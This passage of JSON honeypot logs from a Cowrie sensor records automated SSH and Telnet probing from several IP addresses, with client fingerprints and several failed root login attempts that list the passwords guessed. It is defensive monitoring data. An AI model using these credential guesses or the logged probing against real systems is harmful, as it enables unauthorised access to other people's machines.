{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:07.545718Z","src_ip":"152.42.212.128","session":"806e389bff59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:07.549829Z","src_ip":"152.42.212.128","session":"806e389bff59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":55528,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd0c4bcec02","protocol":"ssh","message":"New connection: 102.88.137.145:55528 (10.17.0.5:22) [session: ebd0c4bcec02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:18.987579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:18.992513Z","src_ip":"102.88.137.145","session":"ebd0c4bcec02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:19.175596Z","src_ip":"102.88.137.145","session":"ebd0c4bcec02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.196959018707275,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:19.884323Z","src_ip":"192.119.13.58","session":"83dcc5ebe472","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@wsx","message":"login attempt [root/!qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:19.923274Z","src_ip":"102.88.137.145","session":"ebd0c4bcec02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.39753198623657,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:20.553336Z","src_ip":"192.119.13.58","session":"4107a30f41fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:21.104668Z","src_ip":"102.88.137.145","session":"ebd0c4bcec02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.11584210395813,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:27.320547Z","src_ip":"192.119.13.58","session":"90ec057eff4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46966,"dst_ip":"10.17.0.5","dst_port":23,"session":"228d678c53b7","protocol":"telnet","message":"New connection: 192.119.13.58:46966 (10.17.0.5:23) [session: 228d678c53b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:28:46.511613Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":42876,"dst_ip":"10.17.0.5","dst_port":22,"session":"638bdca81b6d","protocol":"ssh","message":"New connection: 103.195.236.96:42876 (10.17.0.5:22) [session: 638bdca81b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:12.393204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:12.401562Z","src_ip":"103.195.236.96","session":"638bdca81b6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:12.633190Z","src_ip":"103.195.236.96","session":"638bdca81b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roman123","message":"login attempt [root/roman123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:13.588404Z","src_ip":"103.195.236.96","session":"638bdca81b6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:14.830547Z","src_ip":"103.195.236.96","session":"638bdca81b6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":60362,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b44df34c544","protocol":"ssh","message":"New connection: 103.15.222.183:60362 (10.17.0.5:22) [session: 3b44df34c544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:25.167125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:25.172270Z","src_ip":"103.15.222.183","session":"3b44df34c544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:25.423771Z","src_ip":"103.15.222.183","session":"3b44df34c544","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555666777","message":"login attempt [root/555666777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:26.175603Z","src_ip":"103.15.222.183","session":"3b44df34c544","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.79581546783447,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:26.307294Z","src_ip":"192.119.13.58","session":"228d678c53b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:27.428232Z","src_ip":"103.15.222.183","session":"3b44df34c544","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45092,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b5baf5646a2","protocol":"telnet","message":"New connection: 192.119.13.58:45092 (10.17.0.5:23) [session: 7b5baf5646a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:46.027803Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":44668,"dst_ip":"10.17.0.5","dst_port":22,"session":"60c7c7880cbf","protocol":"ssh","message":"New connection: 102.88.137.145:44668 (10.17.0.5:22) [session: 60c7c7880cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:54.309839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:54.314265Z","src_ip":"102.88.137.145","session":"60c7c7880cbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:54.499233Z","src_ip":"102.88.137.145","session":"60c7c7880cbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"davedave","message":"login attempt [root/davedave] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:55.252991Z","src_ip":"102.88.137.145","session":"60c7c7880cbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":49114,"dst_ip":"10.17.0.5","dst_port":22,"session":"d18801b7a226","protocol":"ssh","message":"New connection: 38.93.206.2:49114 (10.17.0.5:22) [session: d18801b7a226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:55.664249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:55.669866Z","src_ip":"38.93.206.2","session":"d18801b7a226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:55.720623Z","src_ip":"38.93.206.2","session":"d18801b7a226","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaxscd","message":"login attempt [root/zaxscd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:55.873152Z","src_ip":"38.93.206.2","session":"d18801b7a226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:56.435723Z","src_ip":"102.88.137.145","session":"60c7c7880cbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:29:56.927621Z","src_ip":"38.93.206.2","session":"d18801b7a226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":56266,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0e42c39fb34","protocol":"ssh","message":"New connection: 147.45.197.250:56266 (10.17.0.5:22) [session: f0e42c39fb34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:30:04.815417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:30:04.820541Z","src_ip":"147.45.197.250","session":"f0e42c39fb34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:30:04.919497Z","src_ip":"147.45.197.250","session":"f0e42c39fb34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pussy","message":"login attempt [root/pussy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:30:05.201836Z","src_ip":"147.45.197.250","session":"f0e42c39fb34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:30:06.301845Z","src_ip":"147.45.197.250","session":"f0e42c39fb34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.27059745788574,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:30:25.298273Z","src_ip":"192.119.13.58","session":"7b5baf5646a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":59020,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb746ec6b683","protocol":"ssh","message":"New connection: 147.45.211.215:59020 (159.203.135.109:22) [session: cb746ec6b683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:30:29.059990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:30:29.065072Z","src_ip":"147.45.211.215","session":"cb746ec6b683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:30:29.243114Z","src_ip":"147.45.211.215","session":"cb746ec6b683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"computer","message":"login attempt [root/computer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:30:29.777329Z","src_ip":"147.45.211.215","session":"cb746ec6b683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:30:30.958686Z","src_ip":"147.45.211.215","session":"cb746ec6b683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":36284,"dst_ip":"10.17.0.5","dst_port":22,"session":"04c4c33cb4e8","protocol":"ssh","message":"New connection: 102.88.137.145:36284 (10.17.0.5:22) [session: 04c4c33cb4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:22.008966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:22.018804Z","src_ip":"102.88.137.145","session":"04c4c33cb4e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-c